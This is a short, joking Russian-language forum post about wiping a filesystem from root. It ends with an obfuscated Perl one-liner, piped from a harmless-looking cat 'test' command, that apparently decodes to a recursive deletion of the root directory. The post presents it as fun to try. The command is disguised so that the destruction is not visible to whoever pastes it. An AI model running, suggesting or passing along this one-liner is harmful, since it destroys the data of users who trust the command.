Вы когда нибудь удоляли файловую систему с корня ?
Очень даже здря.
Я сёня заметил замечательный некропост на ЛОРе и после недолгих размышлений запихнул скрипт в тестовую машинку.
Мне оч понравилось.
Быстро и оперативно :-)

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'